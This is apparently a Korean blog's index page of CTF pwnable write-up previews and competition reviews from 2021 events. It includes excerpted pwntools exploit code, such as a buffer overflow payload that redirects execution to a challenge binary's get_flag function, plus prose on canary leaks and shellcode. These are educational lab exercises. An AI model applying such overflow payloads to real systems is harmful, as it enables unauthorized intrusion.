CTF 46

[2021 HSPACE CTF : Pwnable] ALL Clear! writeups (04.26 23:59 이후 공개)

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro 대회 정보 : - Seoul Housing BOF가 2번, system함수 plt 존재, 'sh' 문자열 존재 Summary 첫번째 BOF에서 canary leak, pie leak 두번째 BOF에서 system('sh') 실행 pie base 구하는 과정 더보기 더보기 카나리 뒤에 pie 주소가 붙어 있는 것을 확인할 수 있다. pie base와의 offset을 구해서 leak한 주소에 -0xa10을 빼면 pie base를 구할 수 있다. from pwn import * #p = process('./chall') p = remote('183.109.94.101', 9100) e = ELF('./chall') #libc = e...

CTF/Write UPs 2021.04.27

2021 HSPACE CTF 후기 (04.26 23:59 이후 공개)

대회 정보 : 아래 포스터 참고 대회 시간 : 2021.04.24 10:00 KST — 2021.04.24, 22:00 KST 내가 적은 롸업 : jiravvit.tistory.com/entry/2021-HSPACE-CTF-Pwnable-ALL-Clear 이때까지 참여한 ctf중에서(몇 없긴 하지만) 가장 배울 점이 많은 대회였다고 생각한다. 대회 시간은 12시간이었는데, 사진 상 맨 첫번째 문제(soeul housing)를 풀다가 canary leak하고 도저히 방법이 안보여서 포기하고, 그냥 노트북을 덮었다. 그런데 그 이후에 올라온 세문제가 내가 풀 수 있는 수준의 문제였던 것이다. 결국은 대회 끝나고 다섯문제 모두 풀었지만, 대회 시간 때 못 푼 것이 너무 아쉬웠다. 대회 시간동안 문제 푸는 것을..

CTF/CTF 후기 2021.04.27

[TAMUctf 2021 : Pwnable] Shellcode_Golf, Shellcode_Golf_2 풀이 (64bit, shellcode 제작, mmap, mprotect) (수정)

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro 쉘코드랑 진짜 1도 안친해서 풀어보았다. 비슷한 문제라서 묶어서 풀이를 작성해본다.. Shellcode_Golf 문제 파일과 c코드를 같이 제공해 준다. mmap 함수는 메모리를 매핑시켜주는 함수이다. 12바이트만큼 권한을 0으로 설정해준다. 근데 이 권한이 만약 4라면..? (문제 푸는 것과는 관련이 없음ㅋㅋ) 더보기 더보기 rwx 중에 x권한이 있다는 것을 의미한다. 리눅스 권한과 반대인데.. 리눅스는 rwx이 421 순이지 않는가...? 얘는 124 순이다 ㅋㅋ; 그냥 tmi mprotect 함수는 원하는 코드 영역의 권한을 변경한다. 첫번째 인자인 shellcode는 0x1000의 주소여야 한다. 두번째 인자(12바이트)..

CTF/Write UPs 2021.04.26

TAMUctf 2021 후기

대회 정보 : ctftime.org/event/1320 대회 시간 : 2021.04.23 08:00 KST — 2021.04.26, 08:00 KST 내가 적은 롸업 : jiravvit.tistory.com/entry/TAMUctf-2021-Pwnable-%EB%82%B4%EA%B0%80-%ED%91%BC-%EB%AC%B8%EC%A0%9C%EB%93%A4-%ED%92%80%EC%9D%B4 대회기간은 조금 길었는데, 몇시간정도만 투자했다. NX-oopsie는 로되리안 걸려서 flag를 못땄다. Lottery는... 어제 밤에 조금 보다가 잠와서 끄고 잤다 ㅎㅎ; 이 대회가 특이한 점이 있었는데, nc로 접속하는 방법 대신에 openssl로 접속하는 방법을 제공해줬다는 것이다. 그래서 위와같이 local에 ..

CTF/CTF 후기 2021.04.26

[TAMUctf 2021 : Pwnable] 내가 푼 문제들 풀이

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro NX Oopsie 처음에 문제 실행도 안되었었는데.. 더보기 더보기 처음에 문제 실행도 안되었었다 ㅠ 저 립시 파일이 없다고 해서 저 파일을 다운받아주었다. www.python2.net/questions-1264132.htm libc.musl-x86_64.so.1 : 공유 객체 파일을 열 수 없습니다. Django 데이터베이스 마이그레이션을 실행하려고 할 때 다음 오류가 발생합니다. File "/home/xxx/virtualenv/xxx/lib64/python3.6/site-packages/drf_ujson/renderers.py", line 4, in import ujson ImportError: libc.musl-x86_64..

CTF/Write UPs 2021.04.26

UMDCTF 2021 후기

대회 정보 : ctftime.org/event/1288 대회 시간 : 2021.04.17 06:00 ~ 2021.04.19 06:00 (KST) 내가 적은 롸업 : jiravvit.tistory.com/entry/UMDCTF-2021-Pwnable-%EB%82%B4%EA%B0%80-%ED%91%BC-%EB%AC%B8%EC%A0%9C%EB%93%A4-%ED%92%80%EC%9D%B4 앞의 세문제는 정말정말 쉬웠다. 웃긴게.. 두번째랑 세번째 문제 바이너리가 똑같고 컴파일 옵션을 다르게 준 문제인 것 같다. 두번째 문제 풀 때, 실수로 세번째 바이너리 다운받아서 익스했는데, 두번째 문제 remote 쉘을 땄다.ㅋㅋㅋㅋㅋㅋㅋ 똑같은 익스코드로 두번째, 세번째 문제 둘 다 풀 수 있었다 ㄷㄷ 그런데 Jump I..

CTF/CTF 후기 2021.04.19

[UMDCTF 2021 : Pwnable] 내가 푼 문제들 풀이

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro 대회 정보 : ctftime.org/event/1288 Jump Not Easy get_flag 함수 덕에 쉽게 풀 수 있었음 from pwn import * #p = process('./JNE') p = remote('chals5.umdctf.io', 7003) e = ELF('./JNE') payload = '' payload += 'a'*(0x40+0x8) payload += p64(e.symbols['get_flag']) p.sendlineafter('\n', payload) p.interactive() Jump Is Easy 64bit ROP (shellcode) ㅎ 사실 이거 Jump Not Working문제 바이너리..

CTF/Write UPs 2021.04.17

angstromCTF 2021 후기

대회 정보 : ctftime.org/event/1265 대회 시간 : 2021.04.03 09:00 ~ 2021.04.08 08:59 (KST) 내가 적은 롸업 : jiravvit.tistory.com/entry/angstromCTF-2021-binary-%EB%82%B4%EA%B0%80-%ED%91%BC-%EB%AC%B8%EC%A0%9C%EB%93%A4-%ED%92%80%EC%9D%B4 secure login.. 이상하게 풀었다 ㅋㅋㅋㅋㅋㅋㅋ 홈 디렉터리나 /tmp에서 작업해서 폰툴로 널써서 보내야하는데 엔터로 보냈다. 알고보니 0xff(엔터) * 0xff(널) 의 희박한 확률로 문제 풀었..다..ㅎ; 아무튼.. 그렇고 raiid shadow ~ 문제를 풀면서 새로운 것을 배웠다. 값이 스택에 초기화 ..

CTF/CTF 후기 2021.04.08

picoCTF 2021 후기

대회 정보 : ctftime.org/event/1310 내가 적은 롸업 : jiravvit.tistory.com/entry/picoCTF-2021-pwn?category=902325 아는 분이 대회 중고등학생 대상 대회..? 라고 해서 한번해보라고 하셨다. 역시 중고등학생 수준이라서 그런지 나에게 딱맞았다. 저 cache me outside 문제는 내가 힙 영역을 잘 몰라서... 못풀어봤다. (힌트 보니까 tache..? 뭐시기 적혀있던데 흠..) 원가젯을 바로바로 쓸 생각을 하자!!! 라는 교훈을 얻은 대회였다.

CTF/CTF 후기 2021.04.08